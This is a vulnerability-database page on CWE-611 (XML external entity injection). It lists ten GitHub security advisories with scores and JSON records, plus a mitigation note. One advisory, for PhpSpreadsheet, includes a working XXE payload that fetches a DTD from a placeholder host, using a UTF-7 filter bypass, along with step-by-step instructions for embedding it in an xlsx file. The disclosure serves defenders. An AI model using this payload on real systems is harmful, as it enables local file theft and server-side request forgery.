Common Weakness Enumeration

CWE-611

Allowed

Improper Restriction of XML External Entity Reference

Abstraction: Base · Status: Draft

API response cwe.mitre.org

The product processes an XML document that can contain XML entities with URIs that resolve to documents outside of the intended sphere of control, causing the product to embed incorrect documents into its output.

1831 vulnerabilities reference this CWE, most recent first.

GHSA-GCQM-MJ95-PMJX

Vulnerability from github – Published: 2022-10-15 12:01 – Updated: 2022-10-15 12:01
VLAI
Details

Adobe ColdFusion versions Update 14 (and earlier) and Update 4 (and earlier) are affected by an Improper Restriction of XML External Entity Reference ('XXE') vulnerability that could result in arbitrary file system read. Exploitation of this issue does not require user interaction.

Severity
5.9 (Medium)
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N
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{
  "affected": [],
  "aliases": [
    "CVE-2022-38419"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-611"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-10-14T20:15:00Z",
    "severity": "MODERATE"
  },
  "details": "Adobe ColdFusion versions Update 14 (and earlier) and Update 4 (and earlier) are affected by an Improper Restriction of XML External Entity Reference (\u0027XXE\u0027) vulnerability that could result in arbitrary file system read. Exploitation of this issue does not require user interaction.",
  "id": "GHSA-gcqm-mj95-pmjx",
  "modified": "2022-10-15T12:01:01Z",
  "published": "2022-10-15T12:01:01Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-38419"
    },
    {
      "type": "WEB",
      "url": "https://helpx.adobe.com/security/products/coldfusion/apsb22-44.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-GCX3-8MJ9-XGM6

Vulnerability from github – Published: 2022-05-24 19:19 – Updated: 2022-05-24 19:19
VLAI
Details

Office Server Document Converter V7.2MR4 and earlier and V7.1MR7 and earlier allows a remote unauthenticated attacker to conduct an XML External Entity (XXE) attack to cause a denial of service (DoS) condition to the other servers by processing a specially crafted XML document.

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{
  "affected": [],
  "aliases": [
    "CVE-2021-20839"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-611"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2021-11-01T02:15:00Z",
    "severity": "MODERATE"
  },
  "details": "Office Server Document Converter V7.2MR4 and earlier and V7.1MR7 and earlier allows a remote unauthenticated attacker to conduct an XML External Entity (XXE) attack to cause a denial of service (DoS) condition to the other servers by processing a specially crafted XML document.",
  "id": "GHSA-gcx3-8mj9-xgm6",
  "modified": "2022-05-24T19:19:22Z",
  "published": "2022-05-24T19:19:22Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-20839"
    },
    {
      "type": "WEB",
      "url": "https://jvn.jp/en/jp/JVN33453839/index.html"
    },
    {
      "type": "WEB",
      "url": "https://www.antenna.co.jp/news/2021/osdc72-20211027.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-GCXJ-MHMW-GGHW

Vulnerability from github – Published: 2022-05-17 02:41 – Updated: 2022-05-17 02:41
VLAI
Details

IBM Rhapsody DM 4.0, 5.0, and 6.0 is vulnerable to a denial of service, caused by an XML External Entity Injection (XXE) error when processing XML data. A remote attacker could exploit this vulnerability to expose highly sensitive information or consume all available memory resources. IBM Reference #: 1999960.

Severity
8.1 (High)
CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H
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{
  "affected": [],
  "aliases": [
    "CVE-2016-9698"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-611"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2017-06-08T21:29:00Z",
    "severity": "HIGH"
  },
  "details": "IBM Rhapsody DM 4.0, 5.0, and 6.0 is vulnerable to a denial of service, caused by an XML External Entity Injection (XXE) error when processing XML data. A remote attacker could exploit this vulnerability to expose highly sensitive information or consume all available memory resources. IBM Reference #: 1999960.",
  "id": "GHSA-gcxj-mhmw-gghw",
  "modified": "2022-05-17T02:41:26Z",
  "published": "2022-05-17T02:41:26Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2016-9698"
    },
    {
      "type": "WEB",
      "url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/119522"
    },
    {
      "type": "WEB",
      "url": "http://www.ibm.com/support/docview.wss?uid=swg21999960"
    },
    {
      "type": "WEB",
      "url": "http://www.ibm.com/support/docview.wss?uid=swg22002258"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/96829"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-GF6F-95CV-MV72

Vulnerability from github – Published: 2022-05-14 03:06 – Updated: 2022-05-14 03:06
VLAI
Details

Triplea version <= 1.9.0.0.10291 contains a XML External Entity (XXE) vulnerability in Importing game data that can result in Possible information disclosure, server-side request forgery, or remote code execution. This attack appear to be exploitable via Specially crafted game data file (XML).

Severity
7.8 (High)
CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
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{
  "affected": [],
  "aliases": [
    "CVE-2018-1000546"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-611"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2018-06-26T16:29:00Z",
    "severity": "HIGH"
  },
  "details": "Triplea version \u003c= 1.9.0.0.10291 contains a XML External Entity (XXE) vulnerability in Importing game data that can result in Possible information disclosure, server-side request forgery, or remote code execution. This attack appear to be exploitable via Specially crafted game data file (XML).",
  "id": "GHSA-gf6f-95cv-mv72",
  "modified": "2022-05-14T03:06:31Z",
  "published": "2022-05-14T03:06:31Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2018-1000546"
    },
    {
      "type": "WEB",
      "url": "https://github.com/triplea-game/triplea/issues/3442"
    },
    {
      "type": "WEB",
      "url": "https://0dd.zone/2018/05/31/TripleA-XXE"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-GFQH-8V9Q-F2VF

Vulnerability from github – Published: 2023-12-13 12:30 – Updated: 2023-12-13 12:30
VLAI
Details

An XEE vulnerability has been found in Repox, which allows a remote attacker to interfere with the application's XML data processing in the fileupload function, resulting in interaction between the attacker and the server's file system.

Severity
8.3 (High)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:L
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{
  "affected": [],
  "aliases": [
    "CVE-2023-6721"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-611"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-12-13T10:15:11Z",
    "severity": "HIGH"
  },
  "details": "An XEE vulnerability has been found in Repox, which allows a remote attacker to interfere with the application\u0027s XML data processing in the fileupload function, resulting in interaction between the attacker and the server\u0027s file system.",
  "id": "GHSA-gfqh-8v9q-f2vf",
  "modified": "2023-12-13T12:30:42Z",
  "published": "2023-12-13T12:30:42Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-6721"
    },
    {
      "type": "WEB",
      "url": "https://www.incibe.es/en/incibe-cert/notices/aviso/multiple-vulnerabilities-repox"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:L",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-GG2J-6Q4V-8GCF

Vulnerability from github – Published: 2022-11-04 12:00 – Updated: 2022-11-04 19:01
VLAI
Details

"IBM InfoSphere Information Server 11.7 is vulnerable to an XML External Entity Injection (XXE) attack when processing XML data. A remote attacker could exploit this vulnerability to expose sensitive information or consume memory resources. IBM X-Force ID: 236584."

Severity
9.1 (Critical)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:H
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{
  "affected": [],
  "aliases": [
    "CVE-2022-40747"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-611"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-11-03T20:15:00Z",
    "severity": "CRITICAL"
  },
  "details": "\"IBM InfoSphere Information Server 11.7 is vulnerable to an XML External Entity Injection (XXE) attack when processing XML data. A remote attacker could exploit this vulnerability to expose sensitive information or consume memory resources. IBM X-Force ID: 236584.\"",
  "id": "GHSA-gg2j-6q4v-8gcf",
  "modified": "2022-11-04T19:01:15Z",
  "published": "2022-11-04T12:00:25Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-40747"
    },
    {
      "type": "WEB",
      "url": "https://www.ibm.com/support/pages/node/6829373"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-GG63-HGM5-V538

Vulnerability from github – Published: 2024-02-03 03:30 – Updated: 2025-11-04 00:30
VLAI
Details

IBM Security Access Manager Container (IBM Security Verify Access Appliance 10.0.0.0 through 10.0.6.1 and IBM Security Verify Access Docker 10.0.0.0 through 10.0.6.1) is vulnerable to an XML External Entity Injection (XXE) attack when processing XML data. A remote attacker could exploit this vulnerability to expose sensitive information or consume memory resources. IBM X-Force ID: 254783.

Severity
7.1 (High)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:L
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{
  "affected": [],
  "aliases": [
    "CVE-2023-32327"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-611"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-02-03T01:15:08Z",
    "severity": "HIGH"
  },
  "details": "IBM Security Access Manager Container (IBM Security Verify Access Appliance 10.0.0.0 through 10.0.6.1 and IBM Security Verify Access Docker 10.0.0.0 through 10.0.6.1) is vulnerable to an XML External Entity Injection (XXE) attack when processing XML data. A remote attacker could exploit this vulnerability to expose sensitive information or consume memory resources.  IBM X-Force ID:  254783.",
  "id": "GHSA-gg63-hgm5-v538",
  "modified": "2025-11-04T00:30:45Z",
  "published": "2024-02-03T03:30:27Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-32327"
    },
    {
      "type": "WEB",
      "url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/254783"
    },
    {
      "type": "WEB",
      "url": "https://www.ibm.com/support/pages/node/7106586"
    },
    {
      "type": "WEB",
      "url": "http://seclists.org/fulldisclosure/2024/Nov/0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:L",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-GG84-HM7C-X3XQ

Vulnerability from github – Published: 2022-05-14 01:36 – Updated: 2022-05-14 01:36
VLAI
Details

Anyplace version before commit 80359b4 contains a XML External Entity (XXE) vulnerability in Man in the middle on map API call that can result in Disclosure of confidential data, denial of service, SSRF, port scanning. This vulnerability appears to have been fixed in after commit 80359b4.

Severity
9.0 (Critical)
CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H
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{
  "affected": [],
  "aliases": [
    "CVE-2018-1000829"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-611"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2018-12-20T15:29:00Z",
    "severity": "CRITICAL"
  },
  "details": "Anyplace version before commit 80359b4 contains a XML External Entity (XXE) vulnerability in Man in the middle on map API call that can result in Disclosure of confidential data, denial of service, SSRF, port scanning. This vulnerability appears to have been fixed in after commit 80359b4.",
  "id": "GHSA-gg84-hm7c-x3xq",
  "modified": "2022-05-14T01:36:12Z",
  "published": "2022-05-14T01:36:12Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2018-1000829"
    },
    {
      "type": "WEB",
      "url": "https://github.com/dmsl/anyplace/issues/263"
    },
    {
      "type": "WEB",
      "url": "https://0dd.zone/2018/10/28/anyplace-XXE-MitM"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-GGPQ-CPRG-V67R

Vulnerability from github – Published: 2022-12-06 18:30 – Updated: 2022-12-08 18:30
VLAI
Details

An XML external entity (XXE) injection vulnerability in Kwoksys Kwok Information Server before v2.9.5.SP31 allows remote authenticated users to conduct server-side request forgery (SSRF) attacks.

Severity
4.9 (Medium)
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N
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{
  "affected": [],
  "aliases": [
    "CVE-2022-45326"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-611"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-12-06T17:15:00Z",
    "severity": "MODERATE"
  },
  "details": "An XML external entity (XXE) injection vulnerability in Kwoksys Kwok Information Server before v2.9.5.SP31 allows remote authenticated users to conduct server-side request forgery (SSRF) attacks.",
  "id": "GHSA-ggpq-cprg-v67r",
  "modified": "2022-12-08T18:30:49Z",
  "published": "2022-12-06T18:30:18Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-45326"
    },
    {
      "type": "WEB",
      "url": "https://www.navsec.net/2022/11/12/kwoksys-xxe.html"
    },
    {
      "type": "WEB",
      "url": "http://www.kwoksys.com/wiki/index.php?title=Release_Notes"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-GHG6-32F9-2JP7

Vulnerability from github – Published: 2024-08-29 17:58 – Updated: 2025-03-06 18:10
VLAI
Summary
XXE in PHPSpreadsheet encoding is returned
Details

Summary

Bypassing the filter allows a XXE-attack. Which is turn allows attacker to obtain contents of local files, even if error reporting muted by @ symbol. (LFI-attack)

Details

Check $pattern = '/encoding="(.*?)"/'; easy to bypass. Just use a single quote symbol '. So payload looks like this:

<?xml version="1.0" encoding='UTF-7' standalone="yes"?>
+ADw-!DOCTYPE xxe [+ADw-!ENTITY % xxe SYSTEM "http://example.com/file.dtd"> %xxe;]>

If you add this header to any XML file into xlsx-formatted file, such as sharedStrings.xml file, then xxe will execute.

PoC

1) Create simple xlsx file 2) Rename xlsx to zip 3) Go to the zip and open the xl/sharedStrings.xml file in edit mode. 4) Replace <?xml version="1.0" encoding="UTF-8" standalone="yes"?> to 

<?xml version="1.0" encoding='UTF-7' standalone="yes"?>
+ADw-!DOCTYPE xxe [+ADw-!ENTITY % xxe SYSTEM "http://%webhook%/file.dtd"> %xxe;]>

5) Save sharedStrings.xml file and rename zip back to xlsx. 6) Use minimal php code that simply opens this xlsx file:

use PhpOffice\PhpSpreadsheet\IOFactory;
require __DIR__ . '/vendor/autoload.php';
$spreadsheet = IOFactory::load("file.xlsx");

7) You will receive the request to your http://%webhook%/file.dtd 8) Dont't forget that you can use php-wrappers into xxe, some php:// wrapper payload allows fetch local files.

Impact

Read local files lfi

Severity
8.8 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
8.7 (High)
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
Show details on source website
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{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "phpoffice/phpspreadsheet"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.29.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "phpoffice/phpspreadsheet"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.2.0"
            },
            {
              "fixed": "2.2.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "phpoffice/phpspreadsheet"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.0.0"
            },
            {
              "fixed": "2.1.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "phpoffice/phpexcel"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "1.8.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2024-45048"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-611"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-08-29T17:58:27Z",
    "nvd_published_at": "2024-08-28T21:15:06Z",
    "severity": "HIGH"
  },
  "details": "### Summary\nBypassing the filter allows a XXE-attack. Which is turn allows attacker to obtain contents of local files, even if error reporting muted by @ symbol. (LFI-attack) \n\n### Details\nCheck ` $pattern = \u0027/encoding=\"(.*?)\"/\u0027;` easy to bypass. Just use a single quote symbol `\u0027`. So payload looks like this:\n```\n\u003c?xml version=\"1.0\" encoding=\u0027UTF-7\u0027 standalone=\"yes\"?\u003e\n+ADw-!DOCTYPE xxe [+ADw-!ENTITY % xxe SYSTEM \"http://example.com/file.dtd\"\u003e %xxe;]\u003e\n```\nIf you add this header to any XML file into xlsx-formatted file, such as sharedStrings.xml file, then xxe will execute. \n\n### PoC\n1) Create simple xlsx file\n2) Rename xlsx to zip\n3) Go to the zip and open the `xl/sharedStrings.xml` file in edit mode.\n4) Replace `\u003c?xml version=\"1.0\" encoding=\"UTF-8\" standalone=\"yes\"?\u003e` to \n```\n\u003c?xml version=\"1.0\" encoding=\u0027UTF-7\u0027 standalone=\"yes\"?\u003e\n+ADw-!DOCTYPE xxe [+ADw-!ENTITY % xxe SYSTEM \"http://%webhook%/file.dtd\"\u003e %xxe;]\u003e\n```\n5) Save `sharedStrings.xml` file and rename zip back to xlsx.\n6) Use minimal php code that simply opens this xlsx file:\n```\nuse PhpOffice\\PhpSpreadsheet\\IOFactory;\nrequire __DIR__ . \u0027/vendor/autoload.php\u0027;\n$spreadsheet = IOFactory::load(\"file.xlsx\");\n```\n7) You will receive the request to your `http://%webhook%/file.dtd`\n8) Dont\u0027t forget that you can use php-wrappers into xxe, some php:// wrapper payload allows fetch local files.\n\n### Impact\nRead local files\n![lfi](https://github.com/PHPOffice/PhpSpreadsheet/assets/95242087/1839cddb-6bb0-486d-8884-9ac485776931)",
  "id": "GHSA-ghg6-32f9-2jp7",
  "modified": "2025-03-06T18:10:41Z",
  "published": "2024-08-29T17:58:27Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/PHPOffice/PhpSpreadsheet/security/advisories/GHSA-ghg6-32f9-2jp7"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-45048"
    },
    {
      "type": "WEB",
      "url": "https://github.com/PHPOffice/PhpSpreadsheet/commit/bea2d4b30f24bcc8a7712e208d1359e603b45dda"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/PHPOffice/PhpSpreadsheet"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "XXE in PHPSpreadsheet encoding is returned"
}
Mitigation
Implementation System Configuration

Many XML parsers and validators can be configured to disable external entity expansion.

CAPEC-221: Data Serialization External Entities Blowup

This attack takes advantage of the entity replacement property of certain data serialization languages (e.g., XML, YAML, etc.) where the value of the replacement is a URI. A well-crafted file could have the entity refer to a URI that consumes a large amount of resources to create a denial of service condition. This can cause the system to either freeze, crash, or execute arbitrary code depending on the URI.

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